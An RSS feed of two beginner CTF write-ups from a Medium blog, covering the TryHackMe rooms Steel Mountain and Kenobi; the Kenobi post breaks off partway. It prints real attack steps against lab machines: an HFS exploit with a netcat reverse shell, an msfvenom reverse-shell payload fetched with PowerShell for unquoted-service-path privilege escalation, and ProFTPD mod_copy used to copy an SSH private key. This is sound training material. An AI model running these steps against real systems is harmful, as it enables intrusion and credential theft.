<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xRetroBin on Medium]]></title>
        <description><![CDATA[Stories by 0xRetroBin on Medium]]></description>
        <link>https://medium.com/@0xretrobin?source=rss-a518b12f4f91------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*BWe7cAEzHzIBK-TrFv2ysQ.png</url>
            <title>Stories by 0xRetroBin on Medium</title>
            <link>https://medium.com/@0xretrobin?source=rss-a518b12f4f91------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 20:39:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xretrobin/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe: Steel Mountain]]></title>
            <link>https://0xretrobin.medium.com/tryhackme-steel-mountain-fb99d57b9f56?source=rss-a518b12f4f91------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb99d57b9f56</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[beginner]]></category>
            <dc:creator><![CDATA[0xRetroBin]]></dc:creator>
            <pubDate>Fri, 17 Sep 2021 15:12:13 GMT</pubDate>
            <atom:updated>2021-09-17T15:20:15.568Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>“<a href="https://tryhackme.com/room/steelmountain">Steel Mountain</a>. The hacker’s dilemma. What to do when a bunch of data you want to destroy is completely off the grid?”<br>-Mr.Robot-</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*kc3OCJdDlk-Ow2JMN3E2eg.jpeg" /><figcaption>Suit yourself, friend. We have a long way to drive</figcaption></figure><blockquote><em>Hi, friend! We meet again. This is my third write up, I hope the previous blogs help you in solving the rooms. I have to say this room took me over 2 hours since I didn’t want to use Metasploit Framework. Beside my back pain &amp; stress I have from solving this room, I learn a lot of from it.<br>I have been using Windows for years, and somehow I cannot perform well on a Windows target. Really motivate me to learn more about Windows commands…<br>Anyway, let’s jump in!</em></blockquote><p>Objectives:<br>+Gain Initial Access<br>+Windows Privilege Escalation (I have 0 knowledge about this, cost me a lot)</p><h3>[Task 1]: Introduction</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VyhGLaWOosB5T0WTMjjaCg.jpeg" /><figcaption>Impenetrable</figcaption></figure><p>Let’s perfom a quick nmap scan on the target, remember this host will not response to icmp packet, so we have to tell nmap to disable ping before doing any scan:</p><pre>nmap -Pn 10.10.195.67 -vv<br><br>#result<br>PORT      STATE SERVICE       REASON<br>80/tcp    open  http          syn-ack<br>135/tcp   open  msrpc         syn-ack<br>139/tcp   open  netbios-ssn   syn-ack<br>445/tcp   open  microsoft-ds  syn-ack<br>3389/tcp  open  ms-wbt-server syn-ack<br>8080/tcp  open  http-proxy    syn-ack<br>49152/tcp open  unknown       syn-ack<br>49153/tcp open  unknown       syn-ack<br>49154/tcp open  unknown       syn-ack<br>49155/tcp open  unknown       syn-ack<br>49156/tcp open  unknown       syn-ack<br>49163/tcp open  unknown       syn-ack</pre><p>We have a lot of ports here, let’s visit webpage first:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VoQiB5mQAyWVyE454YX07g.png" /><figcaption>Damn, you can have a big facility but can’t have a nice website?</figcaption></figure><p>On the main page we see our “Employee of the month”, but what’s his name? Let’s view page source to see if they use our guy ‘s name for the image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*QRAyQ2rGK8nDxRjyrFl9bg.png" /><figcaption>Bill Harper</figcaption></figure><p>Gotcha, we have Bill Harper, let’s note it down</p><h3>[Task 2]: Initial Access</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i1DY9r3AGEBWdQW_d8V1GQ.jpeg" /><figcaption>It’s not gonna be easy…</figcaption></figure><p>Let’s perform another nmap scan, this time we will do service scan with known ports:</p><pre>nmap -Pn -sV -p445,3389,49152,49153,49154,49155,49156,49163 -vv -oA nmap/impenetrable 10.10.195.67<br>PORT      STATE SERVICE            REASON  VERSION                    <br>445/tcp   open  microsoft-ds       syn-ack Microsoft Windows Server 2008 R2 - 2012 microsoft-ds    <br>3389/tcp  open  ssl/ms-wbt-server? syn-ack                                                         <br>49152/tcp open  msrpc              syn-ack Microsoft Windows RPC                                   <br>49153/tcp open  msrpc              syn-ack Microsoft Windows RPC                                   <br>49154/tcp open  msrpc              syn-ack Microsoft Windows RPC                                   <br>49155/tcp open  msrpc              syn-ack Microsoft Windows RPC<br>49156/tcp open  msrpc              syn-ack Microsoft Windows RPC<br>49163/tcp open  msrpc              syn-ack Microsoft Windows RPC                                   <br>Service Info: OSs: Windows Server 2008 R2 - 2012, Windows; CPE: cpe:/o:microsoft:windows</pre><p>There’s SMB running on port 445, I want to check it first:</p><pre>retr0@kalibox:~$ smbclient -L 10.10.195.67  -p 445<br>Enter WORKGROUP\retr0&#39;s password: <br>session setup failed: NT_STATUS_ACCESS_DENIED</pre><p>Oof, well try again with enum4linux:</p><pre>retr0@kalibox:~$ enum4linux -a 10.10.195.67<br>Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Sep 17 16:27:12 2021<br><br> ========================== <br>|    Target Information    |<br> ========================== <br>Target ........... 10.10.195.67<br>RID Range ........ 500-550,1000-1050<br>Username ......... &#39;&#39;<br>Password ......... &#39;&#39;<br>Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none<br><br><br> ==================================================== <br>|    Enumerating Workgroup/Domain on 10.10.195.67    |<br> ==================================================== <br>[+] Got domain/workgroup name: WORKGROUP<br><br> ============================================ <br>|    Nbtstat Information for 10.10.195.67    |<br> ============================================ <br>Looking up status of 10.10.195.67<br>        STEELMOUNTAIN   &lt;0<strong>0</strong>&gt; -         B &lt;ACTIVE&gt;  Workstation Service<br>        WORKGROUP       &lt;0<strong>0</strong>&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt;  Domain/Workgroup Name<br>        STEELMOUNTAIN   &lt;2<strong>0</strong>&gt; -         B &lt;ACTIVE&gt;  File Server Service<br><br>        MAC Address = 02-A0-C2-85-2F-E3<br><br> ===================================== <br>|    Session Check on 10.10.195.67    |<br> ===================================== <br>[E] Server doesn&#39;t allow session using username &#39;&#39;, password &#39;&#39;.  Aborting remainder of tests.</pre><p>Seems like they disable anonymous login, have to find the other ways</p><p>I decide to perform the third nmap scan on all ports to see any hidden port open:</p><pre>PORT      STATE SERVICE       REASON<br>80/tcp    open  http          syn-ack<br>135/tcp   open  msrpc         syn-ack<br>139/tcp   open  netbios-ssn   syn-ack<br>445/tcp   open  microsoft-ds  syn-ack<br>3389/tcp  open  ms-wbt-server syn-ack<br>5985/tcp  open  wsman         syn-ack<br>8080/tcp  open  http-proxy    syn-ack<br>47001/tcp open  winrm         syn-ack<br>49152/tcp open  unknown       syn-ack<br>49153/tcp open  unknown       syn-ack<br>49154/tcp open  unknown       syn-ack<br>49155/tcp open  unknown       syn-ack<br>49156/tcp open  unknown       syn-ack<br>49163/tcp open  unknown       syn-ack<br>49164/tcp open  unknown       syn-ack</pre><p>After spending 15 minutes of googling each type of service I found nothing, then I realize I haven’t perform service scan on port 8080 yet (I’m so dumb)</p><pre>PORT     STATE SERVICE REASON  VERSION<br>8080/tcp open  http    syn-ack HttpFileServer httpd 2.3<br>|_http-favicon: Unknown favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST<br>|_http-server-header: HFS 2.3<br>|_http-title: HFS /<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows</pre><p>A quick Google search show this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*Kdn2wBaeSrRDgXgfZHbjwQ.png" /><figcaption>Rejetto? I never heard before :D</figcaption></figure><p>It’s Rejetto HTTP File Server for the question in task 2<br>We search for an exploit for this version and found <a href="https://www.exploit-db.com/exploits/39161">one</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zLh6GGhoTFmWzIUj4YJxqA.png" /></figure><p>Download the exploit for use later.<br>At this time the task mention to use Metasploit Framework, I decide not to use it, since I want to learn more about how it works.</p><p>Take a look at the exploit and there are 2 parameters I need to change:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*tfHfBRXzFHr4if5NUGYY7A.png" /></figure><p>Replace them with your kali IP &amp; port to use</p><p>How to get this exploit to work?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*s_R5ww5xjQd7BOZNO_LSAA.png" /><figcaption>Here is the note in the exploit code</figcaption></figure><p>First, fire up our netcat listener with the port you desired in the exploit<br>Second, locate static netcat binary on your kali machine:</p><pre>retr0@kalibox:~/Downloads$ locate nc.exe<br>/usr/share/seclists/Web-Shells/FuzzDB/nc.exe<br>/usr/share/sqlninja/apps/nc.exe<br>/usr/share/windows-resources/binaries/nc.exe</pre><p>Copy that netcat binary &amp; place it where you want to run module http server from python on port 80:</p><pre>retr0@kalibox:~/Downloads$ python3 -m http.server 80</pre><p>Right, now let’s launch the exploit:</p><pre>python exploit.py 10.10.195.67 8080</pre><p>Go back to our netcat listener, we got a shell:</p><pre>retr0@kalibox:~$ nc -lvnp 9001<br>listening on [any] 9001 ...<br>connect to [10.11.43.240] from (UNKNOWN) [10.10.195.67] 49267<br>Microsoft Windows [Version 6.3.9600]<br>(c) 2013 Microsoft Corporation. All rights reserved.<br><br>C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup&gt;</pre><p>user flag can be found at this:</p><pre>C:\Users\bill\Desktop&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is 2E4A-906A<br><br> Directory of C:\Users\bill\Desktop<br><br>09/27/2019  09:08 AM    &lt;DIR&gt;          .<br>09/27/2019  09:08 AM    &lt;DIR&gt;          ..<br>09/27/2019  05:42 AM                70 user.txt<br>               1 File(s)             70 bytes<br>               2 Dir(s)  44,153,430,016 bytes free</pre><h3>[Task 3]: Privilege Escalation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nqiZRT0sJ-5XbVG1w2IPrA.png" /><figcaption>Bill is the perfect exploit</figcaption></figure><p>Right now our top priority is that juicy root flag<br>Let’s enumerate the machine with <a href="https://github.com/carlospolop/PEASS-ng">winPEAS</a></p><p>We have powershell on the machine, but since we are using a netcat reverse shell, we have limited feature, try to run powershell as interactive will hang the terminal, so you have to use powershell -c , just like python -c (part of the stty trick to get a full interactive shell)</p><p>Since we’re still running python simple http server, use this command on the target to get winPEAS from your kali machine:</p><pre>C:\Users\bill\Desktop&gt;powershell.exe -c wget &quot;http://10.11.43.240/winPEASx86.exe&quot; -outfile &quot;winPEAS.exe&quot;</pre><p>List file to confirm it has been downloaded:</p><pre>C:\Users\bill\Desktop&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is 2E4A-906A<br><br> Directory of C:\Users\bill\Desktop<br><br>09/17/2021  03:40 AM    &lt;DIR&gt;          .<br>09/17/2021  03:40 AM    &lt;DIR&gt;          ..<br>09/27/2019  05:42 AM                70 user.txt<br>09/17/2021  03:40 AM         1,924,608 winPEAS.exe<br>               3 File(s)      2,525,258 bytes<br>               2 Dir(s)  44,150,353,920 bytes free</pre><p>Run the script, grab a coffee &amp; wait!</p><pre>The script takes about 3 minutes to complete</pre><p>There are so much result! I spent a solid 30-minute reading the output &amp; googling, here is what my limited knowledge beat me. I have to read some write ups to know what to do</p><p>Turn out, there is an Unquoted Service Path vulnerability</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b19r3ubm-A6Xb_zwlpG43A.png" /><figcaption>It’s hard to read so you should zoom in</figcaption></figure><p>Check the service winPEA highlights:</p><pre>C:\Program Files (x86)\IObit&gt;sc qc AdvancedSystemCareService9<br>sc qc AdvancedSystemCareService9<br>[SC] QueryServiceConfig SUCCESS<br><br>SERVICE_NAME: AdvancedSystemCareService9<br>        TYPE               : 110  WIN32_OWN_PROCESS (interactive)<br>        START_TYPE         : 2   AUTO_START<br>        ERROR_CONTROL      : 1   NORMAL<br>        BINARY_PATH_NAME   : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe<br>        LOAD_ORDER_GROUP   : System Reserved<br>        TAG                : 1<br>        DISPLAY_NAME       : Advanced SystemCare Service 9<br>        DEPENDENCIES       : <br>        SERVICE_START_NAME : LocalSystem</pre><p>Check permission:</p><pre>C:\Program Files (x86)\IObit&gt;icacls &quot;Advanced SystemCare&quot;<br>icacls &quot;Advanced SystemCare&quot;<br>Advanced SystemCare STEELMOUNTAIN\bill:(I)(OI)(CI)(RX,W)<br>                    NT SERVICE\TrustedInstaller:(I)(F)<br>                    NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)<br>                    NT AUTHORITY\SYSTEM:(I)(F)<br>                    NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)<br>                    BUILTIN\Administrators:(I)(F)<br>                    BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)<br>                    BUILTIN\Users:(I)(RX)<br>                    BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)<br>                    CREATOR OWNER:(I)(OI)(CI)(IO)(F)<br>                    APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)<br>                    APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)<br><br>Successfully processed 1 files; Failed processing 0 files</pre><p>So this process can be started or stopped, as Bill we have permission to do so.</p><p>We can replace the legitimate application with our malicious one, restart the service, which will run our infected program located inside the service’s folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*Lb4OVBqM4Q3_cAzQfOql_w.png" /></figure><p>Let’s create a reverse tcp shell with msfvenom:</p><pre>msfvenom -p windows/shell_reverse_tcp lhost=tun0 lport=9001 -f exe -o Advanced.exe</pre><pre>Note: you have to name the file Advanced.exe for it to work!!!!</pre><p>On target, use powershell likes before to download our payload:</p><pre>C:\Program Files (x86)\IObit&gt;powershell -c wget &quot;http://10.11.43.240/Advanced.exe&quot; -outfile &quot;Advanced.exe&quot;<br>powershell -c wget &quot;http://10.11.43.240/Advanced.exe&quot; -outfile &quot;Advanced.exe&quot;<br><br>C:\Program Files (x86)\IObit&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is 2E4A-906A<br><br> Directory of C:\Program Files (x86)\IObit<br><br>09/17/2021  04:19 AM    &lt;DIR&gt;          .<br>09/17/2021  04:19 AM    &lt;DIR&gt;          ..<br>09/17/2021  02:16 AM    &lt;DIR&gt;          Advanced SystemCare<br>09/17/2021  04:19 AM            73,802 Advanced.exe<br>09/26/2019  10:35 PM    &lt;DIR&gt;          IObit Uninstaller<br>09/26/2019  08:18 AM    &lt;DIR&gt;          LiveUpdate<br>               1 File(s)         73,802 bytes<br>               5 Dir(s)  44,149,260,288 bytes free</pre><p>Fire up netcat listener, use these commands on target:</p><pre>#sc command is used to interact with service</pre><pre>sc stop AdvancedSystemCareService9 <br>sc start AdvancedSystemCareService9</pre><p>When you restart the service, it will hang for a few seconds, eventually, a reverse shell returned:</p><pre>retr0@kalibox:~$ nc -lvnp 9001<br>listening on [any] 9001 ...<br>connect to [10.11.43.240] from (UNKNOWN) [10.10.195.67] 49374<br>Microsoft Windows [Version 6.3.9600]<br>(c) 2013 Microsoft Corporation. All rights reserved.<br><br>C:\Windows\system3<strong>2</strong>&gt;whoami<br>whoami<br>nt authority\system</pre><p>The flag location is here:</p><pre>C:\Users\Administrator&gt;dir Desktop<br>dir Desktop<br> Volume in drive C has no label.<br> Volume Serial Number is 2E4A-906A<br><br> Directory of C:\Users\Administrator\Desktop<br><br>10/12/2020  12:05 PM    &lt;DIR&gt;          .<br>10/12/2020  12:05 PM    &lt;DIR&gt;          ..<br>10/12/2020  12:05 PM             1,528 activation.ps1<br>09/27/2019  05:41 AM                32 root.txt<br>               2 File(s)          1,560 bytes<br>               2 Dir(s)  44,148,797,440 bytes free</pre><p>Just use this command to read the file:</p><pre>type never_give_u_up.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PKr9g6ic3Fy0c9X8n9pGmQ.jpeg" /><figcaption>We did it!!!!</figcaption></figure><h3>[Overview &amp; Final Thought]</h3><blockquote><em>This is the first Windows box that I solve, have to say it’s tough for beginner. Spent over 2 hours on an easy box is something unusual, but in the end, I learn a lot from it. No Metasploit Walkthrough!!!</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VkufmQxKHT6Dn6odvulJow.jpeg" /><figcaption>Did you just spend 2 hours on a beginner box? Seriously?</figcaption></figure><h3>-THE END-</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb99d57b9f56" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Kenobi]]></title>
            <link>https://0xretrobin.medium.com/tryhackme-kenobi-55d695118382?source=rss-a518b12f4f91------2</link>
            <guid isPermaLink="false">https://medium.com/p/55d695118382</guid>
            <dc:creator><![CDATA[0xRetroBin]]></dc:creator>
            <pubDate>Thu, 16 Sep 2021 11:37:22 GMT</pubDate>
            <atom:updated>2021-09-16T11:37:22.170Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Hi, friend. We meet again!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tswqDIR-qoARoE_u8aoFFA.jpeg" /><figcaption>You can find this room <a href="https://tryhackme.com/room/kenobi">here</a></figcaption></figure><blockquote><em>Walkthrough on exploiting a Linux machine. Enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation.</em></blockquote><blockquote>This room is beginner level, most of the time you will have useful guide on every task.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gdXbYOubPx0SXSDxAJsf7g.jpeg" /><figcaption>You want that flag? You have to go through me first!</figcaption></figure><h3><strong>[Task 1]: Deploy The Vulnerable Machine &amp; Perform Reconnaissance</strong></h3><p>First, let’s perform nmap scan on the target:</p><pre>root@kalibox:~/kenobi# nmap -p- --min-rate=1000 10.10.153.194 -oA nmap/quickscan</pre><pre>#result<br>PORT      STATE SERVICE<br>21/tcp    open  ftp<br>22/tcp    open  ssh<br>80/tcp    open  http<br>111/tcp   open  rpcbind<br>139/tcp   open  netbios-ssn<br>445/tcp   open  microsoft-ds<br>2049/tcp  open  nfs<br>37677/tcp open  unknown<br>40235/tcp open  unknown<br>45809/tcp open  unknown<br>58671/tcp open  unknown</pre><pre>Note: just keep in mind that --min-rate=1000 should only be used in CTF competions, because it makes a lot of noise!</pre><p>From the result of our first scan, we can see 11 open ports, run a second scan with known ports:</p><pre>root@kalibox:~/kenobi# nmap -sV -p21,22,80,111,139,445,2049,37677,40235,45809,58671 -oA nmap/optimize_scan 10.10.153.194</pre><pre>#result:<br>PORT      STATE SERVICE     VERSION<br>21/tcp    open  ftp         ProFTPD 1.3.5<br>22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)<br>80/tcp    open  http        Apache httpd 2.4.18 ((Ubuntu))<br>111/tcp   open  rpcbind     2-4 (RPC #100000)<br>139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>2049/tcp  open  nfs_acl     2-3 (RPC #100227)<br>37677/tcp open  mountd      1-3 (RPC #100005)<br>40235/tcp open  mountd      1-3 (RPC #100005)<br>45809/tcp open  nlockmgr    1-4 (RPC #100021)<br>58671/tcp open  mountd      1-3 (RPC #100005)<br>Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>Right now there are 4 ports I’m interested in: port 21,22,80 and 445</p><p>Let’s visit the webpage:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zl9n9uwUFRFRZpXJymxHOg.png" /><figcaption>Ah, I’m a fan of Star Wars</figcaption></figure><p>Take a look at page source and found nothing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*KJNXCOK7TZcIuZ0y_sMnHQ.png" /><figcaption>no hidden note for you Neo…</figcaption></figure><p>Look like there is nothing interested on this site, let’s move to other port…</p><h3>[Task 2]: Enumerating Samba For Shares</h3><p>From our nmap scan, we have Samba running on port 139 &amp; 445, let’s list file share on the host:</p><pre>root@kalibox:~/kenobi# smbclient -L 10.10.153.194<br>Enter WORKGROUP\root&#39;s password: <br><br>        Sharename       Type      Comment<br>        ---------       ----      -------<br>        print$          Disk      Printer Drivers<br>        anonymous       Disk      <br>        IPC$            IPC       IPC Service (kenobi server (Samba, Ubuntu))<br>SMB1 disabled -- no workgroup available</pre><p>We have 3 shares available, take a look at the anonymous share:</p><pre>root@kalibox:~# smbclient \\\\10.10.153.194\\anonymous<br>Enter WORKGROUP\root&#39;s password: <br>Try &quot;help&quot; to get a list of possible commands.<br>smb: \&gt; ls<br>  .                                   D        0  Wed Sep  4 17:49:09 2019<br>  ..                                  D        0  Wed Sep  4 17:56:07 2019<br>  log.txt                             N    12237  Wed Sep  4 17:49:09 2019<br><br>                9204224 blocks of size 1024. 6877104 blocks available<br>smb: \&gt;</pre><p>There is a text file, download it on your machine</p><p>Let’s read some part of the file:</p><pre>root@kalibox:~# cat log.txt                                                                                                                                                            <br>Generating public/private rsa key pair.                                                                                                                                                <br>Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):                                                                                                                        <br>Created directory &#39;/home/kenobi/.ssh&#39;.                                                                                                                                                 <br>Enter passphrase (empty for no passphrase):                                                                                                                                            <br>Enter same passphrase again:                                                                                                                                                           <br>Your identification has been saved in /home/kenobi/.ssh/id_rsa.                                                                                                                        <br>Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.                                                                                                                        <br>The key fingerprint is:                                                                                                                                                                <br>SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi                                                                                                                       <br>The key&#39;s randomart image is:                                                                                                                                                          <br>+---[RSA 2048]----+                                                                                                                                                                    <br>|                 |                                                                                                                                                                    <br>|           ..    |                                                                                                                                                                    <br>|        . o. .   |                                                                                                                                                                    <br>|       ..=o +.   |                                                                                                                                                                    <br>|      . So.o++o. |                                                                                                                                                                    <br>|  o ...+oo.Bo*o  |                                                                                                                                                                    <br>| o o ..o.o+.@oo  |                                                                                                                                                                    <br>|  . . . E .O+= . |                                                                                                                                                                    <br>|     . .   oBo.  |                                                                                                                                                                    <br>+----[SHA256]-----+</pre><p>We have potential username:</p><pre># Set the user and group under which the server will run.<br>User                            kenobi<br>Group                           kenobi</pre><p>From this file we know:</p><ul><li>Information generated for Kenobi when generating an SSH key for the user</li><li>Information about the ProFTPD server.</li></ul><p>Run another nmap scan on port 111 with a script:</p><pre>root@kalibox:~# nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.153.194<br>Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-16 14:20 +07<br>Nmap scan report for 10.10.153.194<br>Host is up (0.33s latency).<br><br>PORT    STATE SERVICE<br>111/tcp open  rpcbind<br>| nfs-ls: Volume /var<br>|   access: Read Lookup NoModify NoExtend NoDelete NoExecute<br>| PERMISSION  UID  GID  SIZE  TIME                 FILENAME<br>| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  .<br>| rwxr-xr-x   0    0    4096  2019-09-04T12:27:33  ..<br>| rwxr-xr-x   0    0    4096  2019-09-04T12:09:49  backups<br>| rwxr-xr-x   0    0    4096  2019-09-04T10:37:44  cache<br>| rwxrwxrwt   0    0    4096  2019-09-04T08:43:56  crash<br>| rwxrwsr-x   0    50   4096  2016-04-12T20:14:23  local<br>| rwxrwxrwx   0    0    9     2019-09-04T08:41:33  lock<br>| rwxrwxr-x   0    108  4096  2019-09-04T10:37:44  log<br>| rwxr-xr-x   0    0    4096  2019-01-29T23:27:41  snap<br>| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  www<br>|_<br>| nfs-showmount: <br>|_  /var *<br>| nfs-statfs: <br>|   Filesystem  1K-blocks  Used       Available  Use%  Maxfilesize  Maxlink<br>|_  /var        9204224.0  1836528.0  6877100.0  22%   16.0T        32000<br><br>Nmap done: 1 IP address (1 host up) scanned in 22.78 seconds</pre><p>We can see the mount /var is available</p><h3>[Task 3]: Gain Initial Access With ProFtpd</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/296/1*a_vyePK8c5o52PGW90g_Jg.png" /></figure><blockquote>ProFtpd is a free and open-source FTP server, compatible with Unix and Windows systems. Its also been vulnerable in the past software versions.</blockquote><p>We already have the version of the ProFTPd service:</p><pre>PORT      STATE SERVICE     VERSION<br>21/tcp    open  ftp         ProFTPD 1.3.5</pre><p>Using searchploit you can get a few exploit for this version:</p><pre>root@kalibox:~/kenobi# searchsploit proftpd 1.3.5<br>----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------<br> Exploit Title                                                                                                                                       |  Path<br>----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------<br>ProFTPd 1.3.5 - &#39;mod_copy&#39; Command Execution (Metasploit)                                                                                            | linux/remote/37262.rb<br>ProFTPd 1.3.5 - &#39;mod_copy&#39; Remote Command Execution                                                                                                  | linux/remote/36803.py<br>ProFTPd 1.3.5 - &#39;mod_copy&#39; Remote Command Execution (2)                                                                                              | linux/remote/49908.py<br>ProFTPd 1.3.5 - File Copy                                                                                                                            | linux/remote/36742.txt<br>----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------<br>Shellcodes: No Results</pre><blockquote><em>The mod_copy module implements </em><strong><em>SITE CPFR</em></strong><em> and </em><strong><em>SITE CPTO</em></strong><em> commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.</em></blockquote><p>Let&#39;s put those exploits aside, we can try to do something else</p><p>Connect to port 21 with netcat:</p><pre>root@kalibox:~/kenobi# nc 10.10.153.194 21<br>220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.153.194]<br>ls<br>500 LS not understood<br>help<br>214-The following commands are recognized (* =&gt;&#39;s unimplemented):<br> CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV    <br> EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD     <br> XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP    <br> NOOP    FEAT    OPTS    AUTH*   CCC*    CONF*   ENC*    MIC*    <br> PBSZ*   PROT*   TYPE    STRU    MODE    RETR    STOR    STOU    <br> APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST    <br> NLST    STAT    SITE    MLSD    MLST    <br>214 Direct comments to root@kenobi</pre><p>We&#39;re now going to copy Kenobi&#39;s private key using SITE CPFR and SITE CPTO commands:</p><pre>SITE CPFR  /home/kenobi/.ssh/id_rsa<br>350 File or directory exists, ready for destination name<br>SITE CPTD /var/tmp/id_rsa<br>500 &#39;SITE CPTD&#39; not understood<br>SITE CPTO /var/tmp/id_rsa<br>250 Copy successful</pre><p>After that, mount the /var directory to our machine</p><pre>root@kalibox:~# mkdir /mnt/kenobi<br>root@kalibox:~# mount 10.10.153.194:/var /mnt/kenobi<br>root@kalibox:~# ls -la /mnt/kenobi/<br>total 56<br>drwxr-xr-x 14 root root    4096 Sep  4  2019 .<br>drwxr-xr-x  4 root root    4096 Sep 16 14:29 ..<br>drwxr-xr-x  2 root root    4096 Sep  4  2019 backups<br>drwxr-xr-x  9 root root    4096 Sep  4  2019 cache<br>drwxrwxrwt  2 root root    4096 Sep  4  2019 crash<br>drwxr-xr-x 40 root root    4096 Sep  4  2019 lib<br>drwxrwsr-x  2 root staff   4096 Apr 13  2016 local<br>lrwxrwxrwx  1 root root       9 Sep  4  2019 lock -&gt; /run/lock<br>drwxrwxr-x 10 root crontab 4096 Sep  4  2019 log<br>drwxrwsr-x  2 root mail    4096 Feb 27  2019 mail<br>drwxr-xr-x  2 root root    4096 Feb 27  2019 opt<br>lrwxrwxrwx  1 root root       4 Sep  4  2019 run -&gt; /run<br>drwxr-xr-x  2 root root    4096 Jan 30  2019 snap<br>drwxr-xr-x  5 root root    4096 Sep  4  2019 spool<br>drwxrwxrwt  6 root root    4096 Sep 16 14:03 tmp<br>drwxr-xr-x  3 root root    4096 Sep  4  2019 www</pre><p>List the content of /tmp you can see kenobi’s private key</p><pre>root@kalibox:~# ls -l /mnt/kenobi/tmp<br>total 20<br>-rw-r--r-- 1 retr0 retr0 1675 Sep 16 14:36 id_rsa<br>drwx------ 3 root  root  4096 Sep  4  2019 systemd-private-2408059707bc41329243d2fc9e613f1e-systemd-timesyncd.service-a5PktM<br>drwx------ 3 root  root  4096 Sep  4  2019 systemd-private-6f4acd341c0b40569c92cee906c3edc9-systemd-timesyncd.service-z5o4Aw<br>drwx------ 3 root  root  4096 Sep 16 14:03 systemd-private-95ad0d245f054e42b62dd0bda465b829-systemd-timesyncd.service-Oi8AM5<br>drwx------ 3 root  